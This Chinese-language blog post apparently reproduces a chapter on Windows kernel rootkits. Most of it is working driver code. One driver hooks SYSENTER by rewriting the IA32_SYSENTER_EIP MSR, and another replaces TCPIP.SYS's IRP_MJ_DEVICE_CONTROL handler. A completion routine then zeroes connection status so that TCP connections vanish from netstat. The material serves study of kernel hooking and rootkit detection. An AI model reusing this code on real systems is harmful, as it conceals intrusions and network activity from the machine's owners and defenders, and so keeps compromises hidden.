Rootkits——Windows内核的安全防护 (2)

较新版本的Windows系统不再用INT 2E或通过IDT来请求系统调用表中的服务。而是使用快速调用方法(fast call method)。在这种方法中,NTDLL向EAX寄存器中加载被请求服务的系统调用号,向EDX寄存器中加载当前堆栈指针ESP。然后发出Intel指令SYSENTER。

SYSENTER指令将控制权传递给模型相关寄存器(Model-Specific Register,MSR)IA32_SYSENTER_EIP中指定的地址。可以读写该寄存器,但它是一条特权指令,这意味着必须从环0级别上执行该指令。

以下是一个简单的驱动程序,它读取IA32_SYSENTER_EIP的值,将其存储在一个全局变量中,然后将钩子地址填充到该寄存器中。MyKiFastCallEntry钩子只是跳转到原始的函数,不执行其他任何工作。这是钩住SYSENTER控制流程所需的第一步。

[php]

#include "ntddk.h"

ULONG d_origKiFastCallEntry; // Original value of

//ntoskrnl!KiFastCallEntry

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{

DbgPrint("ROOTKIT: OnUnload called\n");

}

// Hook function

__declspec(naked) MyKiFastCallEntry()

{

__asm {

jmp [d_origKiFastCallEntry]

}

}

NTSTATUS DriverEntry(PDRIVER_OBJECT theDriverObject,

PUNICODE_STRING theRegistryPath)

{

theDriverObject->DriverUnload  = OnUnload;

__asm {

mov ecx, 0x176

rdmsr   // read the value of the IA32_SYSENTER_EIP

// register

mov d_origKiFastCallEntry, eax

mov eax, MyKiFastCallEntry     // Hook function address

wrmsr      // Write to the IA32_SYSENTER_EIP register

}

return STATUS_SUCCESS;

}

[/php]

3. 钩住设备驱动程序对象中主要的I/O请求报文函数表
内核中另一个很好的隐藏位置是每个设备驱动程序中包含的函数表。在安装驱动程序时,它初始化一个函数指针表,这些指针包含了它的各种类型I/O请求报文(I/O Request Packet,IRP)处理函数的地址。IRP处理多种类型的请求,例如读、写和查询。由于驱动程序处于控制流中非常低的层次,因此它们是理想的钩子位置。

以下是微软公司DDK定义的标准IRP类型列表:

[php]

// Define the major function codes for IRPs.

#define IRP_MJ_CREATE                       0x00

#define IRP_MJ_CREATE_NAMED_PIPE          0x01

#define IRP_MJ_CLOSE                        0x02

#define IRP_MJ_READ                         0x03

#define IRP_MJ_WRITE                        0x04

#define IRP_MJ_QUERY_INFORMATION          0x05

#define IRP_MJ_SET_INFORMATION            0x06

#define IRP_MJ_QUERY_EA                    0x07

#define IRP_MJ_SET_EA                       0x08

#define IRP_MJ_FLUSH_BUFFERS               0x09

#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a

#define IRP_MJ_SET_VOLUME_INFORMATION   0x0b

#define IRP_MJ_DIRECTORY_CONTROL          0x0c

#define IRP_MJ_FILE_SYSTEM_CONTROL        0x0d

#define IRP_MJ_DEVICE_CONTROL              0x0e

#define IRP_MJ_INTERNAL_DEVICE_CONTROL  0x0f

#define IRP_MJ_SHUTDOWN                    0x10

#define IRP_MJ_LOCK_CONTROL                0x11

#define IRP_MJ_CLEANUP                      0x12

#define IRP_MJ_CREATE_MAILSLOT            0x13

#define IRP_MJ_QUERY_SECURITY              0x14

#define IRP_MJ_SET_SECURITY                0x15

#define IRP_MJ_POWER                        0x16

#define IRP_MJ_SYSTEM_CONTROL              0x17

#define IRP_MJ_DEVICE_CHANGE               0x18

#define IRP_MJ_QUERY_QUOTA                 0x19

#define IRP_MJ_SET_QUOTA                   0x1a

#define IRP_MJ_PNP                           0x1b

#define IRP_MJ_PNP_POWER                   IRP_MJ_PNP   //Obsolete

#define IRP_MJ_MAXIMUM_FUNCTION         0x1b

[/php]

值得关注的IRP和特定驱动程序依赖于期望完成的目标。例如,可以钩住处理文件系统写操作或TCP查询的函数。然而这种钩子方法存在着问题。和IDT非常类似,处理主要IRP的函数并没有设计成调用原始函数并对结果进行过滤,从调用堆栈中的更低层设备驱动程序将不会返回到这些函数。图4-6解释了设备对象如何指向存储IRP_MJ_*函数表的驱动程序对象。

以下示例给出了如何使用TCPIP.SYS驱动程序中的IRP钩子向netstat.exe之类的程序隐藏网络端口。该驱动程序管理TCP端口。

1188325290_1430068a

netstat.exe列出了所有TCP连接,它的典型输出如下:

[php]

C:\Documents and Settings\Fuzen>netstat -p TCP

Active Connections

Proto  Local Address       Foreign Address       State

TCP    LIFE:1027            localhost:1422         ESTABLISHED

TCP    LIFE:1027            localhost:1424         ESTABLISHED

TCP    LIFE:1027            localhost:1428         ESTABLISHED

TCP    LIFE:1410            localhost:1027         CLOSE_WAIT

TCP    LIFE:1422            localhost:1027         ESTABLISHED

TCP    LIFE:1424            localhost:1027         ESTABLISHED

TCP    LIFE:1428            localhost:1027         ESTABLISHED

TCP    LIFE:1463            localhost:1027         CLOSE_WAIT

TCP    LIFE:1423            64.12.28.72:5190      ESTABLISHED

TCP    LIFE:1425            64.12.24.240:5190     ESTABLISHED

TCP    LIFE:3537            64.233.161.104:http   ESTABLISHED

[/php]

上面的输出显示了协议名称、源地址和端口、目的地址和端口以及每个连接的状态。

显然您不会希望rootkit显示出任何已建立的对外连接。避免这种情况的一种方法是钩住TCPIP.SYS,并过滤掉用于查询该信息的IRP。

寻找驱动程序的IRP函数表

在准备隐藏网络端口的使用情况时,第一个任务是在内存中找到驱动程序对象。在本例中考虑TCPIP.SYS以及与之相关的设备对象\\DEVICE\\TCP。内核提供的IoGetDeviceObjectPointer函数能返回任意设备的对象指针。给定一个名称,它返回相应的文件对象和设备对象。设备对象包含一个驱动程序对象指针,它保存目标函数表。rootkit应该将要钩住的函数指针的旧值保存下来。钩子中最终还需要调用该值。另外,如果希望卸载rootkit的话,则需要恢复表中原始的函数地址。代码中使用了InterlockedExchange函数,因为与其他InterlockedXXX函数相比,它是一个原子操作。

在给定一个设备名后,以下代码将获得TCPIP.SYS的指针,并钩住IRP函数表中的一项。在InstallTCPDriverHook()中将替换TCPIP.SYS中IRP_MJ_DEVICE_
CONTROL的处理函数指针。该IRP是查询“TCP”设备所用的IRP。

[php]

PFILE_OBJECT pFile_tcp;

PDEVICE_OBJECT pDev_tcp;

PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);

OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS InstallTCPDriverHook()

{

NTSTATUS       ntStatus;

UNICODE_STRING deviceTCPUnicodeString;

WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";

pFile_tcp  = NULL;

pDev_tcp   = NULL;

pDrv_tcpip = NULL;

RtlInitUnicodeString (&deviceTCPUnicodeString,

deviceTCPNameBuffer);

ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,

FILE_READ_DATA, &pFile_tcp,

&pDev_tcp);

if(!NT_SUCCESS(ntStatus))

return ntStatus;

pDrv_tcpip = pDev_tcp->DriverObject;

OldIrpMjDeviceControl = pDrv_tcpip->

MajorFunction[IRP_MJ_DEVICE_CONTROL];

if (OldIrpMjDeviceControl)

InterlockedExchange ((PLONG)&pDrv_tcpip->

MajorFunction[IRP_MJ_DEVICE_CONTROL],

(LONG)HookedDeviceControl);

return STATUS_SUCCESS;

}

[/php]

执行上述代码后,钩子就安装到了TCPIP.SYS驱动程序中。

IRP钩子函数

在TCPIP.SYS驱动程序中安装了钩子后,就可以在HookedDeviceControl函数中开始接收IRP。在TCPIP.SYS的IRP_MJ_DEVICE_CONTROL中存在着许多不同类型的请求。

在必须执行的第一级过滤中会处理所有类型为IRP_MJ_*的IRP。“IRP_MJ”代表主要IRP类型(major IRP type)。每个IRP中还存在一个次要类型。

除了主要和次要IRP类型之外,IRP中的IoControlCode用于标识特定类型的请求。对于本例,只关心IoControlCode为IOCTL_TCP_QUERY_INFORMATION_EX的IRP。这些IRP向诸如netstat.exe等程序返回端口列表。rootkit应该将IRP的输入缓冲区分配到以下TDIObjectID。在隐藏TCP端口时,rootkit只关注于CO_TL_ENTITY实体请求。CL_TL_ENTITY用于UDP请求。TDIObjectID的toi_id也是重要的,其值依赖于当用户激活netstat时使用了什么开关(例如,netstat.exe -o)。下一节将详细讨论该字段。

[php]

#define CO_TL_ENTITY                  0x400

#define CL_TL_ENTITY                  0x401

#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003

//* Structure of an entity ID.

typedef struct TDIEntityID {

ulong      tei_entity;

ulong      tei_instance;

} TDIEntityID;

//* Structure of an object ID.

typedef struct TDIObjectID {

TDIEntityID   toi_entity;

ulong      toi_class;

ulong      toi_type;

ulong      toi_id;

} TDIObjectID;

[/php]

HookedDeviceControl需要当前IRP堆栈的指针,该堆栈存储了IRP的主要和次要函数码。由于钩住了IRP_MJ_DEVICE_CONTROL,自然希望它是主要函数码,但可执行一些正确性检查以证实这一点。

IRP堆栈中的另一种重要信息是控制码。本例只考虑IOCTL_TCP_QUERY_
INFORMATION_EX控制码。

下一步是找到输入缓冲区在IRP中的位置。对于netstat请求,内核和用户程序使用METHOD_NEITHER方法来传输信息缓冲区。该方法导致在IRP堆栈的Parameters.DeviceIoControl.Type3InputBuffer中发现输入缓冲区 。rootkit应该将输入缓冲区强制转换为指向TDIObjectID结构的指针。可以使用上述结构来定位希望更改的请求。如果隐藏TCP端口,则inputBuffer->toi_entity.tei_entity应该等于CO_TL_ENTITY,并且inputBuffer->toi_id可以有3个取值。下一节将解释toi_id的含义。

若该IRP确实是您的rootkit准备更改的查询,则必须修改IRP,使其包含指向所选择的回调函数的指针,本例中是rootkit的IoCompletionRoutine函数。还必须修改IRP中的控制标志。一旦位于TCPIP.SYS下的驱动程序成功处理了IRP并将所请求的信息填充到输出缓冲区中,这些标志就通知I/O Manager调用完成例程。

可以向完成例程只传递一个参数。它包含在irpStack->Context之中。但需要传递两种信息。第一种是IRP中原始完成例程的指针;第二种是inputBuffer->toi_id的值,因为该字段包含了一个用于确定输出缓冲区格式的ID。HookedDeviceControl的最后一行调用OldIrpMjDeviceControl,它是TCPIP.SYS驱动程序对象中原始的IRP_MJ_DEVICE_CONTROL函数处理程序。

[php]

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp)

{

PIO_STACK_LOCATION      irpStack;

ULONG                     ioTransferType;

TDIObjectID             *inputBuffer;

DWORD                     context;

// Get a pointer to the current location in the IRP. This is where

// the function codes and parameters are located.

irpStack = IoGetCurrentIrpStackLocation (Irp);

switch (irpStack->MajorFunction)

{

case IRP_MJ_DEVICE_CONTROL:

if ((irpStack->MinorFunction == 0) &&

(irpStack->Parameters.DeviceIoControl.IoControlCode

== IOCTL_TCP_QUERY_INFORMATION_EX))

{

ioTransferType =

irpStack->Parameters.DeviceIoControl.IoControlCode;

ioTransferType &= 3;

// Need to know the method to find input buffer

if (ioTransferType == METHOD_NEITHER)

{

inputBuffer = (TDIObjectID *)

irpStack->Parameters.DeviceIoControl.Type3InputBuffer;

// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP

if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)

{

if ((inputBuffer->toi_id == 0x101) ||

(inputBuffer->toi_id == 0x102) ||

(inputBuffer->toi_id == 0x110))

{

// Call our completion routine if IRP succeeds.

// To do this, change the Control flags in the IRP.

irpStack->Control = 0;

irpStack->Control |= SL_INVOKE_ON_SUCCESS;

// Save old completion routine if present

irpStack->Context =(PIO_COMPLETION_ROUTINE)

ExAllocatePool(NonPagedPool,

sizeof(REQINFO));

((PREQINFO)irpStack->Context)->

OldCompletion =

irpStack->CompletionRoutine;

((PREQINFO)irpStack->Context)->ReqType =

inputBuffer->toi_id;

// Setup our function to be called

// upon completion of the IRP

irpStack->CompletionRoutine =

(PIO_COMPLETION_ROUTINE) IoCompletionRoutine;

}

}

}

}

break;

default:

break;

}

// Call the original function

return OldIrpMjDeviceControl(DeviceObject, Irp);

}

[/php]

现在已经将回调函数IoCompletionRoutine的指针插入到IRP中,下面编写完成例程。

IRP完成例程

上述代码中,当钩子截获到现有IRP并且调用原始函数之前,会将自己的完成例程插入现有IRP中。这是对更低层驱动程序放入IRP中的信息进行更改的唯一方式。rootkit驱动程序此刻被钩入到真正驱动程序之上。一旦调用了原始的IRP处理程序,更低层的驱动程序(例如TCPIP.SYS)就接管控制。通常,从调用堆栈中决不会返回到作为钩子函数的IRP处理程序。这就是必须插入完成例程的原因。如果完成例程存在的话,当TCPIP.SYS在IRP中填充了关于所有网络端口的信息之后,它将返回到该例程(因为已经将它挤入到原始IRP中)。关于IRP及其完成例程的更完整说明,参见第6章“分层驱动程序”。

在下面的代码示例中,当TCPIP.SYS为主机上的每个现有TCP端口都向IRP的输出缓冲区中填充了一个结构之后,会调用IoCompletionRoutine函数。该缓冲区的准确结构依赖于运行netstat所使用的开关。可用的开关选项与操作系统版本有关。选项-o导致netstat列出拥有相应端口的进程。在本例中,TCPIP.SYS返回一个包含CONNINFO102结构的缓冲区;选项-b返回具有端口信息的CONNINFO110结构;其他选项返回CONNINFO101类型的结构。这3种类型的结构以及其中所包含的信息如下所示:

[php]

#define HTONS(a)  (((0xFF&a)<<8) + ((0xFF00&a)>>8)) // to get a port

// Structures of TCP information buffers returned by TCPIP.SYS

typedef struct _CONNINFO101 {

unsigned long status;

unsigned long src_addr;

unsigned short src_port;

unsigned short unk1;

unsigned long dst_addr;

unsigned short dst_port;

unsigned short unk2;

} CONNINFO101, *PCONNINFO101;

typedef struct _CONNINFO102 {

unsigned long status;

unsigned long src_addr;

unsigned short src_port;

unsigned short unk1;

unsigned long dst_addr;

unsigned short dst_port;

unsigned short unk2;

unsigned long pid;

} CONNINFO102, *PCONNINFO102;

typedef struct _CONNINFO110 {

unsigned long size;

unsigned long status;

unsigned long src_addr;

unsigned short src_port;

unsigned short unk1;

unsigned long dst_addr;

unsigned short dst_port;

unsigned short unk2;

unsigned long pid;

PVOID    unk3[35];

} CONNINFO110, *PCONNINFO110;

[/php]

IoCompletionRoutine接收一个称为Context的指针,在钩子例程中为之分配空间。Context是PREQINFO类型的指针,通过它来记录所请求的连接信息类型以及IRP中的原始完成例程(若存在的话)。通过分析缓冲区并修改每个结构的状态值,可以隐藏任何端口。一些常用的状态值如下所示:

[php]

● 2—— LISTENING

● 3—— SYN_SENT

● 4—— SYN_RECEIVED

● 5—— ESTABLISHED

● 6—— FIN_WAIT_1

● 7—— FIN_WAIT_2

● 8—— CLOSE_WAIT

● 9—— CLOSING

[/php]

若rootkit将状态值改为0,则不管参数如何,端口都从netstat的输出中消失。(要理解不同状态值的含义,Stevens的著述是极好的参考资料。)以下完成例程的示例代码隐藏了一条目的端口为TCP 80的连接:

[php]

typedef struct _REQINFO {

PIO_COMPLETION_ROUTINE OldCompletion;

unsigned long          ReqType;

} REQINFO, *PREQINFO;

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,

IN PIRP Irp,

IN PVOID Context)

{

PVOID OutputBuffer;

DWORD NumOutputBuffers;

PIO_COMPLETION_ROUTINE p_compRoutine;

DWORD i;

// Connection status values:

// 0 = Invisible

// 1 = CLOSED

// 2 = LISTENING

// 3 = SYN_SENT

// 4 = SYN_RECEIVED

// 5 = ESTABLISHED

// 6 = FIN_WAIT_1

// 7 = FIN_WAIT_2

// 8 = CLOSE_WAIT

// 9 = CLOSING

// ...

OutputBuffer = Irp->UserBuffer;

p_compRoutine = ((PREQINFO)Context)->OldCompletion;

if (((PREQINFO)Context)->ReqType == 0x101)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO101);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO101)OutputBuffer)[i].status = 0;

}

}

else if (((PREQINFO)Context)->ReqType == 0x102)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO102);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO102)OutputBuffer)[i].status = 0;

}

}

else if (((PREQINFO)Context)->ReqType == 0x110)

{

NumOutputBuffers = Irp->IoStatus.Information /

sizeof(CONNINFO110);

for(i = 0; i < NumOutputBuffers; i++)

{

// Hide all Web connections

if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)

((PCONNINFO110)OutputBuffer)[i].status = 0;

}

}

ExFreePool(Context);

if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))

{

return (p_compRoutine)(DeviceObject, Irp, NULL);

}

else

{

return Irp->IoStatus.Status;

}

}

[/php]

还没有评论,快来抢沙发!

发表评论

  • 😉
  • 😐
  • 😡
  • 😈
  • 🙂
  • 😯
  • 🙁
  • 🙄
  • 😛
  • 😳
  • 😮
  • emoji-mrgree
  • 😆
  • 💡
  • 😀
  • 👿
  • 😥
  • 😎
  • ➡
  • 😕
  • ❓
  • ❗
  • 70 queries in 0.484 seconds